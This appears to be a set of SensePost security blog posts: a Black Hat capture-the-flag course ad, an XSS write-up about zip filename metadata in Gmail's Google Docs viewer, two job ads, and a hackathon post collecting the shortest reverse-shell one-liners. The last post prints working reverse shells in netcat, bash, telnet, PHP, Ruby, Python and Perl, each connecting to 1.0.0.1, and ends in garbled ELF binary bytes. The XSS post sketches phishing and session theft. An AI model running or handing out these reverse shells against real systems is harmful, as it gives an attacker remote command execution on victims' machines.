We're excited to be presenting our Hacking By Numbers Combat course again at Black Hat USA this year. SensePost's resident German haxor dude Georg-Christian Pranschke will be presenting this year's course. Combat fits in right at the top of our course offerings. No messing about, this really is the course where your sole aim is to pwn as much of the infrastructure and applications as possible. It is for the security professional looking to hone their skill-set, or to think like those in Unit 61398. There are a few assumptions though:

• you have an excellent grounding in terms of infrastructure - and application assessments


• you aren't scared of tackling systems that aren't easily owned using Metasploit


• gaining root is an almost OCD-like obsession


• there are no basic introductions into linux, shells, pivoting etc.

As we've always said, it is quite literally an all-hack, no-talk course. We are not going to dictate what tools or technologies get used by students. We don't care if you use ruby or perl or python to break something (we do, actually - we don't like ruby), just as long as it gets broken. The Combat course itself is a series of between 12 and 15 (depending on time) capture the flag type exercises presented over a period of two days. The exercises include infrastructure, reverse engineering and crypto.

These targets come from real life assessments we've faced at SensePost, it's about as real as you can get without having to do the report at the end of it. How it works is that candidates are presented with a specific goal. If the presenter is feeling generous at the time, they may even get a description of the technology. After that, they'll have time to solve the puzzle. Afterwards, there will be a discussion about the failings, takeaways and alternate approaches adopted by the class. The latter is normally fascinating as (as anybody in the industry knows), there are virtually a limitless number of different ways to solve specific problems. This means that even the instructor gets to learn a couple of new tricks (we also have prizes for those who teach them enough new tricks).

In 2012, Combat underwent a massive rework and we presented a virtually new course which went down excellently. We're aiming to do the same this year, and to make it the best Combat course ever. So if you're interested in spending two days' worth of intense thinking solving some fairly unique puzzles and shelling boxen, join us for HBN Combat at BlackHat USA.

A few days ago, during one of those nights with the baby crying at 2:00 am and the only thing you can do is to read emails, I realised that Gmail shows the content of compressed files when reading them in Google Docs. As often is the case at SensePost, the "think evil (tm)" came to me and I started to ponder the possibilities of injecting HTML inside the file listing. The idea is actually rather simple. Looking at the file format of a .zip file we see the following:

Every file in the compressed file must have two entries; ZipFileRecord and ZipDirEntry. Both of these entries contain the filename, but only the first one contains the length of filename (it must match the actual length). Our first test case is obvious; if we could modify this name once the file was compressed, would Google sanitise it? Thankfully, the answer is, yes! (go Google!)

As you can see, Google shows the file name inside the compressed file but the tag is displayed with HTML entities. If we then try to see the contents of the file, Google responds by telling us it's not possible to read the content of the file (it's empty) and shows you the file "without formatting" after a few seconds:

Finally, the filename is shown but not sanitised:

Why this is possible?

Remember that the zip format has the name of the compressed files twice. Google uses the first one (ZipFileRecord) for displaying the file names, but in the vulnerable page it uses the second one (ZipDirEntry).

Possible attack vectors

Going back to the 'thinking evil (tm)' mindset, it is now possible to leave a "comprehensive" name in the first entry and inject the malicious payload in the second one. When I first discovered the possibility of doing this, I contacted Google, however, the XSS is in the googleusercontent.com domain, which Google's security team described as a "sandbox" domain (i.e. we aren't injecting into the DOM of google.com) and therefore not worthy of a bounty. Which I accept, if I had to prove usefulness this could be used as part of a simple social engineering attack, for example:

Leading the victim to my phishing site:

Which then proceeds to steals their Google session, or allows the attacker to use BeEF:

Granted, there are simpler ways of achieving the same result. I just wanted to demonstrate how you can use file meta-information for such an attack.

Have a keen interest on scanning over 12000 IP's a week for vulnerabilities? Excited about the thought of assessing over 100 web applications for common vulnerabilities? If so, an exciting, as well as demanding, position has become available within the Managed Vulnerability Scanning (MVS) team at SensePost.

Job Title: Vulnerability Management Analyst

Salary Range: Industry standard, commensurate with experience

Location: Johannesburg/Pretoria, South Africa

We are looking for a talented person to join our MVS team to help manage the technology that makes up our Broadview suite and, more importantly, finding vulnerabilities, interpreting the results and manually verifying them. We are after talented people with a broad skill set to join our growing team of consultants. Our BroadView suite of products consists of our extensive vulnerability scanning engine, which looks at both the network-layer and the application layer, as well as our extensive DNS footprinting technologies.

The role of the Vulnerability Management Analyst will possess the following skills:

• Be able to multitask and meet client deadlines. We want a person that thinks 'I can do that!'


• Possess excellent written and oral communication skills. Being able to understand a vulnerability and explain it to business leaders is a must.


• A working knowledge of enterprise vulnerability management products and remedial work flow


• A broad knowledge of most common enterprise technologies and operating systems


• A passion for security and technology

Some additional conditions:

• A post graduate degree or infosec certification would be beneficial, however, showing us you have the passion and skills also helps


• This job requires some after-hours and weekend commitments (we try to keep this to a minimum)


• Bonus points for knowledge of sed, awk and python, ok even ruby.


• PCI-QSA is desired but not required

Impress us with your skills by sending an email to jobs@sensepost.com and lets take it from there.

SensePost is an equal opportunity partner.

As we grow and operate on a number of continents, so does our dependence on a rock-solid IT infrastructure. We are expanding our repertoire to include a greater collection of Linux/Open Source/Windows and OS X products. With this, we are on the look-out for a rock star to wrangle control of our internal networks, external cloud infrastructure and help us us utilise technology in a way to make us even better.

Job Title: IT Network Packet Wrangling Penguin Master

Salary Range: Industry standard, commensurate with experience

Location: Johannesburg/Pretoria, South Africa

Real Responsibilities:

• Managing a growing internal network, both in ZA and UK and increased cloud-based infrastructure


• Championing the adoption of new technologies, ways of working and being incredibly excited about security. Yes, we like that type of person who scoffs at the idea of using a plain-text protocol

As a system / network administrator your daily duties and responsibilities will include:

• Providing day-to-day Desktop, Server and Network administration, including helping plakkers (the name we give to all who work at SensePost) with their devices


• Be capable of using a variety of operating systems


• Ensuring our disaster recovery plan is working as it should


• Being the go to person to all those who require assistance with their IT


• Maintaining and administer the telecommunications system


• Administering the network to ensure that the systems in place run effectively and securely (we are, after all, a security company!)


• A real passion for finding technology led solutions to problems.


• Be excited about Unix firewalls, Cisco routers, wrangling network packets, VPN tunnelling and Wi-Fi


• Able to hold a conversation and smile when mentioning SMTP/HTTP/IMAP/Python

Not essential, but bonus points for:

• Actually getting a linux laptop to use an overhead projector, without resorting to swear words in Spanish and Afrikaans


• Administering a Windows server without complaining, at all, not once, in fact, you actually kinda enjoy it.


• Being really passionate about security and showing it doesn't have to get in the way of working productively.

If the above has got you thinking 'weird, it's like they are talking to me bru!' then we want to hear from you. Send us a carrier pigeon message or send us a mail

For our internal hackathon, we wanted to produce some shirts. We ran a competition to see who could produce a reverse shell invocation most worthy of inclusion on a shirt. Here are the submissions, which may be instructive or useful. But first; the winning t-shirt design goes to Vlad (-islav, baby don't hurt me, don't hurt me, no more):

Funny story; the printer left out the decimal points between the IP, so we had to use a permanent marker to put them back. Oh, also, many of these were originally taken from somewhere else then modified, we don't claim the full idea as our own. Anyway, onto the shells!

Netcat — 18 chars

nc -e sh 1.0.0.1 1

Requires nc with -e support (unlikely to be on remote box by default).

Bash — 27 chars

sh>&/dev/tcp/1.0.0.1/8 0>&1

Requires bash with /dev/tcp support, not always there (e.g. RHEL). Vlad's winning contribution.

Telnet — 37 chars

mkfifo x&&telnet 1.0.0.1 8 0<x|sh 1>x

Will work on most systems, can replace telnet with nc to get 33 chars.

PHP — 56 chars

<?php $s=fsockopen("1.0.0.1",8);exec("sh<&3>&3 2>&3");?>

Requires PHP CLI. This one from Rogan.

Ruby — 73 chars

f=TCPSocket.open("1.0.0.1",8).to_i
exec sprintf("sh<&%d>&%d 2>&%d",f,f,f)

Need to invoke this with

ruby -rsocket small-rev.rb

which is a bit of a cheat for size. This was also taken from pentestmonkey

Python — 155 chars

import socket as x,os

s=x.socket(2,1)

s.connect(("1.0.0.1",8))

d=os.dup2

f=s.fileno()

d(f,0)

d(f,1)

os.system("sh")

This assumes you use unix line breaks. My personal favourite.

Perl - 121 chars

$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"1.0.0.1:8");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

Invoke with

perl -MIO small-rev.pl

Elf - 133 chars

ELF


???????????
???T€4???????????4? ?
???????
????????€?€� ??? �?????????1ÛSCSjjfX‰áÍ€—[h??
fh �fS‰ájfXPQW‰áCÍ€[™ �
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